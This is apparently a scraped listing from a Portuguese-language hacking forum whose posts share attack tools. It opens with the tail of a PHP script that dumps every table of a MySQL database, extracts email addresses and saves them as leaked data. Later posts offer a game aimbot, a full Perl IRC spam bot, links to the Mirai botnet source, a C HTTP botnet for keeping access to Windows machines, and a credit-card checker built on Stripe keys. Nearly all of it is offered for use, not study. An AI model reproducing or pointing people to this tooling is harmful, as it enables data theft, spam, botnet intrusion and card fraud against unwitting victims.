cores("g2")."\n -----------------------------------\n ".cores("g2")."[ ".cores("g1")."DBNAME".cores("g2")." ]::".cores("b")."$dbnam3\n".cores("g2")." [ ".cores("g1")."TABLES ".cores("g2")."]::"; } mysql_select_db($dbnam3) or die(cores("r")."\n\nERROR:: ".mysql_error()."\n\n"); $res = mysql_list_tables($dbnam3) or die(cores("r")."\n\nERROR:: ".mysql_error()."\n\n"); while ($row = mysql_fetch_row($res)){ $table = $row[0]; $res2 = mysql_query("SHOW CREATE TABLE $table"); if(!isset($oo["no-info"])){ echo cores("g2")." - ".cores("b")."{$table}"; } while ($lin = mysql_fetch_row($res2)){ $res3 = mysql_query("SELECT * FROM $table"); while($r=mysql_fetch_row($res3)){ $sql="INSERT INTO $table VALUES ("; for($j=0; $j<mysql_num_fields($res3);$j++){ if($r[$j] != ""){ $dados .= " - ".$r[$j]." - "; } } } } $table = NULL; } } mysql_close($coneccao); if(!isset($oo["no-info"])){ echo cores("g2")."\n\n -----------------------------------------------------------------\n"; } preg_match_all("/([\w\d\.\-\_]+)@([\w\d\.\_\-]+)/mi", $dados, $possiveis); $email = array_unique(array_unique($possiveis[0])); if(empty($email)){ echo cores("r")."\n EMAIL(s) NOT FOUND\n"; goto sai; }else{ echo cores("g")."\n ".count($email)." EMAIL(s) FOUND".cores("g1")."\n\n"; } foreach ($email as $emails){ if(eregi(".", $emails)){ echo cores("g1")."\n EMAIL:: ".cores("g")."{$emails}"; } } echo "\n\n"; if(!empty($email) and isset($oo["save"])){ if(isset($oo["save"]) and empty($oo["save"])){ $name = "e-dump_emails.txt"; }else{ $name = $oo["save"]; } if(!file_exists($name)){ file_put_contents($name, "EMAIL's LEAKED FROM {$oo["host"]} WITH E-DUMP! ".PHP_EOL.PHP_EOL.PHP_EOL); } foreach ($email as $emails){ file_put_contents($name, "EMAIL: ".$emails.PHP_EOL, FILE_APPEND); } echo " ".cores("g1")."EMAILS SAVED IN: ".cores("b")."{$name}\n"; } sai: echo cores("g2")." -----------------------------------------------------------------\n"; #END Créditos: Eletroplus & CoderPirata
  19. [SOURCE]

    Olá pessoal está é pra quem gosta de cheats para jogos eu fiz este aimbot para Overwatch só que por falta e de tempo muitos bans eu perdi o animo de continuar está ai para quem entende e quer melhorar ou apenas compilar e usar, (Eu não vou postar arquivos binários, mas apenas o código-fonte.) Executar o jogo no modo BORDERLESS janelas para limitar o FPS (realmente ajuda muito). Insira o nome da sua janela Overwatch se você não estiver executando uma versão em Inglês; Aumentar sensibilidade do mouse, se você quiser headshots e também se você gostaria de movimentos mais "humanizados". Video de demonstração do aimbot fase de testes: https://www.youtube.com/watch?v=_uYsH_GCZqY Download: https://www.sendspace.com/file/bokyy9 Scan: https://www.virustotal.com/pt/file/b04851a89740df8a689c798881cb5696749a57da84ef839b21f74a1af57dc750/analysis/1477447514/ Créditos: Eletroplus
  20. [SOURCE]

    Eu sempre usei, acho uma source incrivel para Botnet. Git: https://github.com/jgamblin/Mirai-Source-Codehttps://github.com/jgamblin/Mirai-Source-Code Instruções: https://github.com/jgamblin/Mirai-Source-Code/blob/master/ForumPost.txt Publicado em: http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html Créditos: skiddos & samrocketman && BenjaminHCCarr Requerimentos gcc golang electric-fence mysql-server mysql-client
  21. [SOURCE]

    Olá, este é um bot de IRC feito em 2004~2006 para spam de msg em servidores IRC #!/usr/bin/perl # #ircbot <= 0.01 irc spam bot # #© 2004-2006 Esoteric Code #simple spam bot for irc. has a timer #for sending message which works in a for loop #written by: seven use IO::Socket; $channel ="#channel name"; $Host = "irc.server.net"; $Port = 6667; $nick = "seven"; $email = "code 8 * :esotericcode.com"; @alternate = ('amen_Ra', 'seven', 'basic_code'); @resp = ('I am a IRC bot coded in perl.', #random spam messages 'visit http://www.sevenz.net.', 'hey, how are you.', 'esoteric code.com.', 'how was your day?', 'hey, blow me', 'i am sexier than you'); my $sock = new IO::Socket::INET( PeerAddr => $Host, PeerPort => $Port, Proto => 'tcp', ) || die "No connection $!\n"; print $sock "NICK $nick\r\n"; print $sock "USER $email\r\n"; while ($input = <$sock>) { if ($input =~ /004/){ last; } elsif ($input =~ /433/){ #nick already taken, auto switch to an alternate randomly from list $a = int(rand($#alternate)); $newnick = $alternate[$a]; print $sock "NICK $newnick\r\n"; } } print $sock "JOIN $channel\r\n"; while ($input = <$sock>) { chop $input; if ($input =~/^PING(.*)$/i){ print $sock "PONG $1\r\n"; print $sock "PRIVMSG $channel :irc bot coded in perl -> http://www.sevenz.net\r\n"; } elsif ($input =~/!start(.*)/){ for ($i = 0; $i < 20; ++$i) { $r = int(rand($#resp)); $message = $resp[$r]; print $sock "PRIVMSG $channel :$message\r\n"; sleep(10) } } elsif ($input =~/!time(.*)/){ $time = time(); print $sock "PRIVMSG $channel :local time/date: $time\r\n"; } else{ #@tmp = split(/:/, $input); print $input #$tmp[1] } }
  22. [SOURCE]

    Code: http://pastebin.com/XL7JqbJY
  23. [SOURCE]

    Simple C HTTP Botnet Bot simples para manter acesso em máquinas Windows. SOURCE: https://github.com/Shadow-Network/Simple-C-HTTP-Botnet
  24. [SOURCE]

    Zed Find Sub Domain with C Installing: git clone https://github.com/msfc0d3r/Zed-FindSubDomain cd Zed-FindSubDomain Linux: gcc --std=c99 Zed.c -lws2_32 -o Zed Windows: gcc --std=c99 Zed.c -lws2_32 -o Zed.exe Commands: Use ./Zed -h host.com -l list-of-words.txt -p port -o output SOURCE:https://github.com/Shadow-Network/Zed-FindSubDomain
  25. [SOURCE]

    Cobrando 1$ | Charging 1$ Logs /xereca/infos.php [Password = money] Mensagens de recusado/aprovado | Declined/Approved messages Aceitando todos os tipos de Cartões de crédito | Accepting all type of cards Como usar: Crie uma conta no stripe.com, pegue suas Chaves API e coloque no config.php, use do jeito que você bem entender. How to use: Create a account on stripe.com, get your API keys and put them on config.php, use the way you want. Download: https://github.com/Shadow-Network/Checker

Shadow Network

Seja Bem-Vindo ao nosso fórum, construído com o intuito de compartilhar idéias e conhecimentos ao alcance de qualquer pessoa que tenha vontade de aprender.

Atencao

Em caso de bugs/erros no forum, entre em contato com algum membro da equipe.